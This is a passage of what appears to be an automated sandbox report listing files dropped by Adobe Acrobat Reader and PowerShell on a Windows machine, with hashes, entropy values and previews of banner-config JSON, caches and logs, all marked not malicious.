C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.306100773086461
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP6+WZCRZJNWWsGiIPEeOF0Y+VnQUoAvJfQ1rPeUkwRe9:YvXKXqZCRZRsdTeOeVQnGY16Ukee9
MD5:	710AB5E04B896C451EE30DE9AD421A12
SHA1:	C7CB1CC36E6243C4CDD1EF257444CFA7699C4314
SHA-256:	63B7E1932D7B63887D813E47709291A27B542A08A67122A07200E24F6D6056A1
SHA-512:	CAB7D2339773DF84298E29E4EA3524E890D4A22E99A8ACDF2398B98EC12C541FB384C90FAD037C69C550C956878566CC7E5B6FDD545B9F7E39E5166E0A662ACC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8059d953-6551-42b0-982a-e878f0afc4ae","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748817935,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.321895495200137
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP6+WZCRZJNWWsGiIPEeOF0Y+VnQUoAvJfFldPeUkwRe9:YvXKXqZCRZRsdTeOeVQnGz8Ukee9
MD5:	3AF6927011FC377E4BC3ADDF16EB55AD
SHA1:	F11C31AF3B38F729B3BAB5B8AD2C8F5F1E893136
SHA-256:	6F8293F3013C58DAED1C1477E4FF3FBA8E0D7AB476CFFDACBD5533C28B1C0BF3
SHA-512:	E82962C18D86A18D1D81B4AF9FDA54815694D162E6724EC73B76610FCEB820D4016D6BE8289FD7BEA9D8F138A2234E01F690807E9CEE043C63EB7BEEB96EDB85
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8059d953-6551-42b0-982a-e878f0afc4ae","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748817935,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.327260274896049
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP6+WZCRZJNWWsGiIPEeOF0Y+VnQUoAvJfzdPeUkwRe9:YvXKXqZCRZRsdTeOeVQnGb8Ukee9
MD5:	2DEBE006A3A8635D707125B428D127D1
SHA1:	5140A2F102C275C0AD39B5E22F85102C2CFEF74B
SHA-256:	EB3B0CB76554F7BFAB962055D5590BBA69531F0014A194446F3E18A289C8E75E
SHA-512:	A9B1C0C39132862095DA5589A8308A44D6B7F7E23FED73B1853E79F962CCA18DA50857F743FE97166E9D9E26E47EDA08EFA05B689EE74743CF06700986702CE5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8059d953-6551-42b0-982a-e878f0afc4ae","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748817935,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.308345439568095
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP6+WZCRZJNWWsGiIPEeOF0Y+VnQUoAvJfYdPeUkwRe9:YvXKXqZCRZRsdTeOeVQnGg8Ukee9
MD5:	47C7250551394F39262ED42DAC2F1EF1
SHA1:	B4C48198A476203BCC33C9AA0A3622EC47E50BB6
SHA-256:	5144E3BE2F49DCCCBC9F14A0F1E511B5F0B95EDA4F5301BAD5A262CC84E469E5
SHA-512:	5B8F5DFADCBBCCCD534D28D0DBA79C9EA66BFE5F4FDB710D1054DC05AC18FE44AAD859967EFFFEFE9A079672E5DD044110A426137419C2F3174631466D4F68D3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8059d953-6551-42b0-982a-e878f0afc4ae","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748817935,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.294841730071568
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP6+WZCRZJNWWsGiIPEeOF0Y+VnQUoAvJf+dPeUkwRe9:YvXKXqZCRZRsdTeOeVQnG28Ukee9
MD5:	6A27C51A717F66FF2BAD654257EFFA6A
SHA1:	2710AB1E02F6BAEAF4CD37E4D1F3ACF06F927F23
SHA-256:	B686150C8D6023F83E745C0C9999E307A8DBD645C2A868D8118783F6C79F1A5A
SHA-512:	7F75849B134C14E34D5A4855A7FF9D2AA131616BFBE3CE3802B34456E03549B3AC8360E0565D998FEC9390A2AD80776F26CEE7B619F4158E1B742184F2F9BE0F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8059d953-6551-42b0-982a-e878f0afc4ae","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748817935,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.291835180268981
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP6+WZCRZJNWWsGiIPEeOF0Y+VnQUoAvJfbPtdPeUkwRe9:YvXKXqZCRZRsdTeOeVQnGDV8Ukee9
MD5:	717A53D6760B207EEACCD9C2E542A640
SHA1:	191F301569CC333F624D7F986353A4E619FF15A5
SHA-256:	EEA36833F101A1BDCC9C245C1F144ABA1246A9732CE1721FE600214876420B08
SHA-512:	A40AB046B39B60956FC1E20BC9E4B5CDEA23E6D47797C01B5E6830603C9B4C4BFE1062C56584D392A945FD92924B41C91AE812B2CA48723FABA799C0D3357297
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8059d953-6551-42b0-982a-e878f0afc4ae","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748817935,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2968980118384135
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP6+WZCRZJNWWsGiIPEeOF0Y+VnQUoAvJf21rPeUkwRe9:YvXKXqZCRZRsdTeOeVQnG+16Ukee9
MD5:	47FE94E6971EA3C41D3CE5660DAEB85D
SHA1:	5D003DFC15EC1011A60A3044D4825529CF00BB05
SHA-256:	3CAB66EF8D8F56D1343511E56DFA919938306F49A8CCA7BA1FB0B364975FE627
SHA-512:	BEBE17BCE72FE68666D45E6FFB2546235F9B7897FF4E63468AFD881B8CEDC084EAF1B0565F1F0B4891E2FE8CBC18E44B377666B816C64163EFCD2DCC288697D4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8059d953-6551-42b0-982a-e878f0afc4ae","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748817935,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.668485807643537
Encrypted:	false
SSDEEP:	24:Yv6X2+RmeOeVQYamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSk:YvD+sevV1BgkDMUJUAh8cvMk
MD5:	518C89540D5210C796B0F75FC469D5FE
SHA1:	E64AC34E7133DF3AF402C70C3DCD1DFD3D5EA8D5
SHA-256:	017E50C14490037E0A67696EB927CBCF281592F140D26AF5CEED6DC11468D12C
SHA-512:	D14F8AC6846AC9BC17FDC0B061FD9F66CE1811F69F9A4FDF79225D4AD1899127C7EC25CF93D5826C90A33142909382677873CB8149F496AB61C04FBE7671EF0B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8059d953-6551-42b0-982a-e878f0afc4ae","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748817935,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.273288588915205
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP6+WZCRZJNWWsGiIPEeOF0Y+VnQUoAvJfshHHrPeUkwRe9:YvXKXqZCRZRsdTeOeVQnGUUUkee9
MD5:	A237FAB0B75547E76AFC1EE76477998B
SHA1:	7CD29A347A944AA6E4108E2D88067D229FD83FFF
SHA-256:	D50F5EC08BFED059A6E470A1CD07A4EA0913B5660AD1F4D7E966983FDF21F0EC
SHA-512:	87FEF04DDF552D75B1179338B97EB23500389B716C8A8986FC569B85A3C920333F3A13D28BBCBD2393A7BFD2ABA7EF0F9F9B65BB6B3BFF1AD86AE566CC3F8002
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8059d953-6551-42b0-982a-e878f0afc4ae","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748817935,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2914983232463815
Encrypted:	false
SSDEEP:	6:YEQXJ2HXP6+WZCRZJNWWsGiIPEeOF0Y+VnQUoAvJTqgFCrPeUkwRe9:YvXKXqZCRZRsdTeOeVQnGTq16Ukee9
MD5:	66F5AD4D4C92A14B8F3004122B4B876B
SHA1:	62257C088261A18149E15BEF26183DAB56D86AEF
SHA-256:	93220E50AF733D5C32392EC68A801C65BCDA07EF56D9B591B6E773DC8CEDF730
SHA-512:	34878BE217C3314810D3DA0B58E68AA231D06B4A6C7F0DC88708891CF06A038EFCA00230FA30C3E330B4D86654EF87410C43A1349E813D7EB651BF619C490F66
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8059d953-6551-42b0-982a-e878f0afc4ae","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736748817935,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.134274664435377
Encrypted:	false
SSDEEP:	24:Y/uNabqayiFPk0oNvY0x2ww4jHjzyj0SBIst202LSDCexO32Qy5bGc79cuSOG:Y/z9c0p0www0zE6UtNXxOmpdGc79k
MD5:	30D93AD7F79C7749B69780101D781DE6
SHA1:	EBEBF5F1FFBA41E5AD26D9DBF3E2A67C6E412620
SHA-256:	4262704F26C5EBCB6B2EFB6EBAD0680A629AA656BA2B303F8CCCF2A4BFE23D07
SHA-512:	9C8930E9302A481C6F8D512E4B88A89E8BFB778A554B1CB9BCA7B3BCBF5E11EC82331AC0A5071EB5452EF6AC4B07D8BA226812A33E5DF60E111E5AE5CAA1B413
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"932ba397b26e1a44357230573d9326bd","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736575897000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"4ddce9ff10f9f873d03bdd2407cad64b","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736575897000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"c870bc703ccfb67e32b82bd471438acf","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736575897000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"53ba96cede593c98daa1a10be20b72b9","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736575897000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"17dcaeeee25c2b5b3450dc4b5e7ab5aa","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736575897000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"39530b1116a037378e770d83131d509c","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4545389742111132
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsFdlrh:lNVmsw3SHtbDbPe0K3+fDZdsjh
MD5:	50B4447DF406A09065FD1F5FC93773BF
SHA1:	0A001E1E34B81B74A416B99F4CE9EF79517DDB6C
SHA-256:	A9DB1327DBC3BBACCD5FC999A803B36C13EF3907A71074C7537C7316045CCA30
SHA-512:	2EB05D95DF1ABF20E9DB5596453E667D00ED4CB016F6412C6898869057644D6D2AA8E28A32D7BBB9DF0781BAEA5C8249A5713F1882877C9341961A60CD158927
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.958329735500922
Encrypted:	false
SSDEEP:	48:7MQrvrBd6dHtbGIbPe0K3+fDy2dsFoMqFl2GL7ms1:7h3SHtbDbPe0K3+fDZdsrKVms1
MD5:	FABCEFFACFEB38D20AF0C511E9B1A328
SHA1:	9FB94CC01FD2A64C81317BCEDDD2EC7A31D5109C
SHA-256:	23C72C74230F197B2B265B0406F03E9642A258CC5E80688BC9673BB1D0DBC770
SHA-512:	0F649013AB7AF653BECF4C740D610B6B06F38B53C73E983DDF8EB7D046B825D0BED2983DFAB95303FC8BC2972F8E4F3A3683391E5E344695B8975407FC7A6770
Malicious:	false
Preview:	.... .c.....JC[.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgca+r07VIXc53LOH6jXyTNznPe9Yyu:6a6TZ44ADEca+w7oc5ARzPsK
MD5:	088720D6A48A20E7CF9022A01DB2EAFA
SHA1:	0E121675E8B9281CF3F939D36B28914F4C69ECEE
SHA-256:	FBA2F286133A26D48AD3E63902500BD3AE775792B0B27BB8CA986C1A7B967750
SHA-512:	AE5DDB9482627F97932FE6B3761F70EC92D758AD33CA9D5656B5592B72942BDF79502AED4EAF8312BA2CFDDBC9EC2692290F06F8DC0A151CAE533C80F050F96F
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\Temp\MSId7122.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4821612612473656
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl8CYH:Qw946cPbiOxDlbYnuRKd2YH
MD5:	E13E7717E230A839C72AAEFD89103079
SHA1:	C423D90A4C0063E9C1DA54F3D4034D0A4A21E4D0
SHA-256:	B7B4B02E743558A10838BBC77D89BC5E7F1E5E11B7A00B080AD26D3B4CE516D2
SHA-512:	4FA3A9742477BA30504EB490F71A4D82F4CA3F76BD6963083236E80CC0750581E49A70C152B4ABDB169665B1136AEBA94D40ED9E76533469FE67228203C57E2A
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.1.:.1.1.:.4.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4byxa040.a2u.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gh4ki2qh.adq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9splli0_yaevt8_61w.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 01-11-34-013.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3558932061241915
Encrypted:	false
SSDEEP:	384:iVI3geJ7mRwyhq02LkBChzE1Ju//SPjlmhGTN5N21L7yM2dUEzrrC9CX69jdIpxg:zvv
MD5:	417D4FCFFAE86E7FB82E4C3F7762811F
SHA1:	D59D58C18413FC43F3B5FF9C74E1549EF038C135
SHA-256:	C6CF47C970E1840E743B0E60E7DCDCDDD373AD92701FAAA719FEC943276E61B1
